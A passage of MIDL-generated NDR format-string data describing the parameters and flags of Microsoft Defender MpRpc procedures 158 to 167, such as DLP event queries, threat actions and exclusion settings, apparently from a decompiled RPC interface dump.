8792 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8794 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 8796 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 8798 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8800 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 8802 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 8804 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 8806 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 8808 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc158_ServerMpRpcGetDlpEvents */ + +/* 8810 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 8812 */ NdrFcLong( 0x0 ), /* 0 */ +/* 8816 */ NdrFcShort( 0x9e ), /* 158 */ +/* 8818 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 8820 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 8822 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 8824 */ NdrFcShort( 0x8 ), /* 8 */ +/* 8826 */ NdrFcShort( 0x40 ), /* 64 */ +/* 8828 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x5, /* 5 */ +/* 8830 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 8832 */ NdrFcShort( 0x1 ), /* 1 */ +/* 8834 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8836 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8838 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 8840 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8842 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 8844 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 8846 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8848 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 8850 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 8852 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 8854 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 8856 */ NdrFcShort( 0xb9e ), /* Type Offset=2974 */ + + /* Parameter arg_4 */ + +/* 8858 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8860 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 8862 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 8864 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 8866 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 8868 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc159_ServerMpRpcConveyUserChoiceForDlpNotification */ + +/* 8870 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 8872 */ NdrFcLong( 0x0 ), /* 0 */ +/* 8876 */ NdrFcShort( 0x9f ), /* 159 */ +/* 8878 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */ +/* 8880 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 8882 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 8884 */ NdrFcShort( 0x18 ), /* 24 */ +/* 8886 */ NdrFcShort( 0x24 ), /* 36 */ +/* 8888 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x8, /* 8 */ +/* 8890 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 8892 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8894 */ NdrFcShort( 0x1 ), /* 1 */ +/* 8896 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8898 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 8900 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8902 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 8904 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 8906 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 8908 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 8910 */ NdrFcShort( 0xc0e ), /* Type Offset=3086 */ + + /* Parameter arg_3 */ + +/* 8912 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 8914 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 8916 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_4 */ + +/* 8918 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8920 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 8922 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 8924 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 8926 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 8928 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_6 */ + +/* 8930 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8932 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 8934 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_7 */ + +/* 8936 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8938 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 8940 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 8942 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 8944 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 8946 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc160_ServerMpRpcChangeCapability */ + +/* 8948 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 8950 */ NdrFcLong( 0x0 ), /* 0 */ +/* 8954 */ NdrFcShort( 0xa0 ), /* 160 */ +/* 8956 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 8958 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 8960 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 8962 */ NdrFcShort( 0x18 ), /* 24 */ +/* 8964 */ NdrFcShort( 0x24 ), /* 36 */ +/* 8966 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x5, /* 5 */ +/* 8968 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 8970 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8972 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8974 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8976 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 8978 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8980 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 8982 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 8984 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8986 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 8988 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 8990 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8992 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 8994 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 8996 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8998 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 9000 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 9002 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 9004 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 9006 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc161_ServerMpRpcMpThreatAction */ + +/* 9008 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 9010 */ NdrFcLong( 0x0 ), /* 0 */ +/* 9014 */ NdrFcShort( 0xa1 ), /* 161 */ +/* 9016 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 9018 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 9020 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 9022 */ NdrFcShort( 0x10 ), /* 16 */ +/* 9024 */ NdrFcShort( 0x24 ), /* 36 */ +/* 9026 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x5, /* 5 */ +/* 9028 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 9030 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9032 */ NdrFcShort( 0x1 ), /* 1 */ +/* 9034 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9036 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 9038 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9040 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 9042 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 9044 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 9046 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 9048 */ NdrFcShort( 0xc6e ), /* Type Offset=3182 */ + + /* Parameter arg_3 */ + +/* 9050 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9052 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 9054 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 9056 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9058 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 9060 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 9062 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 9064 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 9066 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc162_ServerMpRpcAsrSetHipsUserExclusion */ + +/* 9068 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 9070 */ NdrFcLong( 0x0 ), /* 0 */ +/* 9074 */ NdrFcShort( 0xa2 ), /* 162 */ +/* 9076 */ NdrFcShort( 0x60 ), /* X64 Stack size/offset = 96 */ +/* 9078 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 9080 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 9082 */ NdrFcShort( 0x64 ), /* 100 */ +/* 9084 */ NdrFcShort( 0x24 ), /* 36 */ +/* 9086 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0xb, /* 11 */ +/* 9088 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 9090 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9092 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9094 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9096 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 9098 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9100 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 9102 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 9104 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 9106 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 9108 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_3 */ + +/* 9110 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9112 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 9114 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 9116 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9118 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 9120 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 9122 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9124 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 9126 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_6 */ + +/* 9128 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 9130 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 9132 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_7 */ + +/* 9134 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 9136 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 9138 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_8 */ + +/* 9140 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 9142 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 9144 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_9 */ + +/* 9146 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 9148 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */ +/* 9150 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_10 */ + +/* 9152 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9154 */ NdrFcShort( 0x50 ), /* X64 Stack size/offset = 80 */ +/* 9156 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 9158 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 9160 */ NdrFcShort( 0x58 ), /* X64 Stack size/offset = 88 */ +/* 9162 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc163_ServerDlpMpRpcCheckAccessForClipboardOperationEx */ + +/* 9164 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 9166 */ NdrFcLong( 0x0 ), /* 0 */ +/* 9170 */ NdrFcShort( 0xa3 ), /* 163 */ +/* 9172 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */ +/* 9174 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 9176 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 9178 */ NdrFcShort( 0x20 ), /* 32 */ +/* 9180 */ NdrFcShort( 0x78 ), /* 120 */ +/* 9182 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x8, /* 8 */ +/* 9184 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 9186 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9188 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9190 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9192 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 9194 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9196 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 9198 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 9200 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9202 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 9204 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 9206 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9208 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 9210 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 9212 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9214 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 9216 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 9218 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9220 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 9222 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_6 */ + +/* 9224 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9226 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 9228 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_7 */ + +/* 9230 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9232 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 9234 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 9236 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 9238 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 9240 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc164_ServerMpRpcQueryConfigProtection */ + +/* 9242 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 9244 */ NdrFcLong( 0x0 ), /* 0 */ +/* 9248 */ NdrFcShort( 0xa4 ), /* 164 */ +/* 9250 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 9252 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 9254 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 9256 */ NdrFcShort( 0x8 ), /* 8 */ +/* 9258 */ NdrFcShort( 0x40 ), /* 64 */ +/* 9260 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x6, /* 6 */ +/* 9262 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 9264 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9266 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9268 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9270 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 9272 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 9274 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 9276 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 9278 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 9280 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 9282 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_3 */ + +/* 9284 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9286 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 9288 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 9290 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9292 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 9294 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 9296 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9298 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 9300 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 9302 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 9304 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 9306 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc165_ServerMpRpcCheckAccessForDragDropOperation */ + +/* 9308 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 9310 */ NdrFcLong( 0x0 ), /* 0 */ +/* 9314 */ NdrFcShort( 0xa5 ), /* 165 */ +/* 9316 */ NdrFcShort( 0x58 ), /* X64 Stack size/offset = 88 */ +/* 9318 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 9320 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 9322 */ NdrFcShort( 0x40 ), /* 64 */ +/* 9324 */ NdrFcShort( 0x40 ), /* 64 */ +/* 9326 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0xa, /* 10 */ +/* 9328 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 9330 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9332 */ NdrFcShort( 0x1 ), /* 1 */ +/* 9334 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9336 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 9338 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9340 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 9342 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 9344 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9346 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 9348 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 9350 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9352 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 9354 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 9356 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9358 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 9360 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 9362 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9364 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 9366 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_6 */ + +/* 9368 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9370 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 9372 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_7 */ + +/* 9374 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 9376 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 9378 */ NdrFcShort( 0xc7e ), /* Type Offset=3198 */ + + /* Parameter arg_8 */ + +/* 9380 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9382 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 9384 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_9 */ + +/* 9386 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9388 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */ +/* 9390 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 9392 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 9394 */ NdrFcShort( 0x50 ), /* X64 Stack size/offset = 80 */ +/* 9396 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc166_ServerMpRpcUpdateBrowserActiveTab */ + +/* 9398 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 9400 */ NdrFcLong( 0x0 ), /* 0 */ +/* 9404 */ NdrFcShort( 0xa6 ), /* 166 */ +/* 9406 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 9408 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 9410 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 9412 */ NdrFcShort( 0x18 ), /* 24 */ +/* 9414 */ NdrFcShort( 0x24 ), /* 36 */ +/* 9416 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x7, /* 7 */ +/* 9418 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 9420 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9422 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9424 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9426 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 9428 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 9430 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 9432 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 9434 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9436 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 9438 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 9440 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9442 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 9444 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 9446 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 9448 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 9450 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_5 */ + +/* 9452 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 9454 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 9456 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_6 */ + +/* 9458 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 9460 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 9462 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 9464 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 9466 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 9468 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc167_ServerMpRpcSendBrowserHeartbeat */ + +/* 9470 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 9472 */ NdrFcLong( 0x0 ), /* 0 */ +/* 9476 */ NdrFcShort( 0xa7 ), /* 167 */ +/* 9478 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 9480 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 9482 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 9484 */ NdrFcShort( 0x20 ), /* 32 */ +/* 9486 */ NdrFcShort( 0x48 ), /* 72 */ +/* 9488 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x7, /* 7 */ +/* 9490 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 9492 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9494 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9496 */ NdrFcShort( 0x0 ), /* 0 */ +/* 9498 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 9500 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 9502 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 9504 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 9506 */ NdrFcShort( 0x48 ), /* Flags: 